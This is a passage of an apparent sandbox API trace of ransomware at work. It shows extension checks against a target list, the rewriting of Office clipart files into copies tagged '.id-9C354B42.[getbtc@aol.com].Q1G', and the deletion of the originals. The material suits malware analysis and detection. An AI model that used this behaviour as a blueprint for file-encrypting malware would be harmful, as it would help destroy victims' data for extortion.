(lpString1=".jpg", lpString2=".WMF") returned -1 [0247.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0247.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0247.420] lstrlenW (lpString=".doc") returned 4 [0247.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.420] lstrlenW (lpString=".docx") returned 5 [0247.420] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0247.420] lstrlenW (lpString=".pdf") returned 4 [0247.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.420] lstrlenW (lpString=".xls") returned 4 [0247.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.420] lstrlenW (lpString=".xlsx") returned 5 [0247.420] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0247.420] lstrlenW (lpString=".ppt") returned 4 [0247.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0247.420] lstrlenW (lpString=".zip") returned 4 [0247.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.420] lstrlenW (lpString=".rar") returned 4 [0247.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.420] lstrlenW (lpString=".bz2") returned 4 [0247.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.421] lstrlenW (lpString=".7z") returned 3 [0247.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0247.421] lstrlenW (lpString=".dbf") returned 4 [0247.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0247.421] lstrlenW (lpString=".1cd") returned 4 [0247.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0247.421] lstrlenW (lpString=".jpg") returned 4 [0247.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.421] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.421] lstrlenW (lpString="CUP.WMF") returned 7 [0247.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.469] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2966) returned 1 [0247.469] CloseHandle (hObject=0x3bc) returned 1 [0247.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0247.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.469] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.469] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.470] GetLastError () returned 0x0 [0247.470] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xb96, lpOverlapped=0x0) returned 1 [0247.473] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0247.474] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.474] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0247.474] SetEndOfFile (hFile=0x3ac) returned 1 [0247.474] CloseHandle (hObject=0x3ac) returned 1 [0247.474] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.474] SetEndOfFile (hFile=0x3bc) returned 1 [0247.476] CloseHandle (hObject=0x3bc) returned 1 [0247.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 1 [0247.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0247.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0247.477] lstrlenW (lpString=".doc") returned 4 [0247.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.477] lstrlenW (lpString=".docx") returned 5 [0247.477] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0247.477] lstrlenW (lpString=".pdf") returned 4 [0247.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.477] lstrlenW (lpString=".xls") returned 4 [0247.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.477] lstrlenW (lpString=".xlsx") returned 5 [0247.477] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0247.477] lstrlenW (lpString=".ppt") returned 4 [0247.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0247.477] lstrlenW (lpString=".zip") returned 4 [0247.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.477] lstrlenW (lpString=".rar") returned 4 [0247.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.477] lstrlenW (lpString=".bz2") returned 4 [0247.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.477] lstrlenW (lpString=".7z") returned 3 [0247.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0247.478] lstrlenW (lpString=".dbf") returned 4 [0247.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0247.478] lstrlenW (lpString=".1cd") returned 4 [0247.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0247.478] lstrlenW (lpString=".jpg") returned 4 [0247.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0247.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0247.478] lstrlenW (lpString=".doc") returned 4 [0247.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.478] lstrlenW (lpString=".docx") returned 5 [0247.478] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0247.478] lstrlenW (lpString=".pdf") returned 4 [0247.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.478] lstrlenW (lpString=".xls") returned 4 [0247.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.478] lstrlenW (lpString=".xlsx") returned 5 [0247.478] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0247.478] lstrlenW (lpString=".ppt") returned 4 [0247.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0247.478] lstrlenW (lpString=".zip") returned 4 [0247.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.478] lstrlenW (lpString=".rar") returned 4 [0247.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.478] lstrlenW (lpString=".bz2") returned 4 [0247.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.478] lstrlenW (lpString=".7z") returned 3 [0247.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0247.478] lstrlenW (lpString=".dbf") returned 4 [0247.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0247.478] lstrlenW (lpString=".1cd") returned 4 [0247.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0247.479] lstrlenW (lpString=".jpg") returned 4 [0247.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.479] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.479] lstrlenW (lpString="CUPINST.WMF") returned 11 [0247.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.480] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=10326) returned 1 [0247.480] CloseHandle (hObject=0x3bc) returned 1 [0247.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0247.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.480] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.480] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.481] GetLastError () returned 0x0 [0247.481] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2856, lpOverlapped=0x0) returned 1 [0247.482] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2860, lpOverlapped=0x0) returned 1 [0247.483] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.484] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xea, lpOverlapped=0x0) returned 1 [0247.484] SetEndOfFile (hFile=0x3ac) returned 1 [0247.484] CloseHandle (hObject=0x3ac) returned 1 [0247.484] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.484] SetEndOfFile (hFile=0x3bc) returned 1 [0247.486] CloseHandle (hObject=0x3bc) returned 1 [0247.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0247.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0247.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0247.487] lstrlenW (lpString=".doc") returned 4 [0247.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.487] lstrlenW (lpString=".docx") returned 5 [0247.487] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0247.487] lstrlenW (lpString=".pdf") returned 4 [0247.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.487] lstrlenW (lpString=".xls") returned 4 [0247.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.487] lstrlenW (lpString=".xlsx") returned 5 [0247.487] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0247.487] lstrlenW (lpString=".ppt") returned 4 [0247.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0247.487] lstrlenW (lpString=".zip") returned 4 [0247.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.487] lstrlenW (lpString=".rar") returned 4 [0247.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.487] lstrlenW (lpString=".bz2") returned 4 [0247.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.487] lstrlenW (lpString=".7z") returned 3 [0247.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0247.487] lstrlenW (lpString=".dbf") returned 4 [0247.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0247.487] lstrlenW (lpString=".1cd") returned 4 [0247.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0247.487] lstrlenW (lpString=".jpg") returned 4 [0247.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0247.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0247.487] lstrlenW (lpString=".doc") returned 4 [0247.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.487] lstrlenW (lpString=".docx") returned 5 [0247.488] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0247.488] lstrlenW (lpString=".pdf") returned 4 [0247.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.488] lstrlenW (lpString=".xls") returned 4 [0247.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.488] lstrlenW (lpString=".xlsx") returned 5 [0247.488] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0247.488] lstrlenW (lpString=".ppt") returned 4 [0247.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0247.488] lstrlenW (lpString=".zip") returned 4 [0247.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.488] lstrlenW (lpString=".rar") returned 4 [0247.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.488] lstrlenW (lpString=".bz2") returned 4 [0247.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.488] lstrlenW (lpString=".7z") returned 3 [0247.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0247.488] lstrlenW (lpString=".dbf") returned 4 [0247.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0247.488] lstrlenW (lpString=".1cd") returned 4 [0247.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0247.488] lstrlenW (lpString=".jpg") returned 4 [0247.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.488] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.488] lstrlenW (lpString="DD00117_.WMF") returned 12 [0247.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.489] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=31122) returned 1 [0247.489] CloseHandle (hObject=0x3bc) returned 1 [0247.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0247.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.490] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.490] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.490] GetLastError () returned 0x0 [0247.490] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x7992, lpOverlapped=0x0) returned 1 [0247.492] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x79a0, lpOverlapped=0x0) returned 1 [0247.494] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.494] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.494] SetEndOfFile (hFile=0x3ac) returned 1 [0247.494] CloseHandle (hObject=0x3ac) returned 1 [0247.494] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.494] SetEndOfFile (hFile=0x3bc) returned 1 [0247.496] CloseHandle (hObject=0x3bc) returned 1 [0247.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0247.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0247.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0247.497] lstrlenW (lpString=".doc") returned 4 [0247.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.497] lstrlenW (lpString=".docx") returned 5 [0247.497] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.497] lstrlenW (lpString=".pdf") returned 4 [0247.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.497] lstrlenW (lpString=".xls") returned 4 [0247.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.497] lstrlenW (lpString=".xlsx") returned 5 [0247.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.497] lstrlenW (lpString=".ppt") returned 4 [0247.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0247.497] lstrlenW (lpString=".zip") returned 4 [0247.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.497] lstrlenW (lpString=".rar") returned 4 [0247.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.497] lstrlenW (lpString=".bz2") returned 4 [0247.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.497] lstrlenW (lpString=".7z") returned 3 [0247.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0247.497] lstrlenW (lpString=".dbf") returned 4 [0247.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0247.498] lstrlenW (lpString=".1cd") returned 4 [0247.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0247.498] lstrlenW (lpString=".jpg") returned 4 [0247.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0247.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0247.498] lstrlenW (lpString=".doc") returned 4 [0247.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.498] lstrlenW (lpString=".docx") returned 5 [0247.498] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.498] lstrlenW (lpString=".pdf") returned 4 [0247.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.498] lstrlenW (lpString=".xls") returned 4 [0247.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.498] lstrlenW (lpString=".xlsx") returned 5 [0247.498] lstrcmpiW 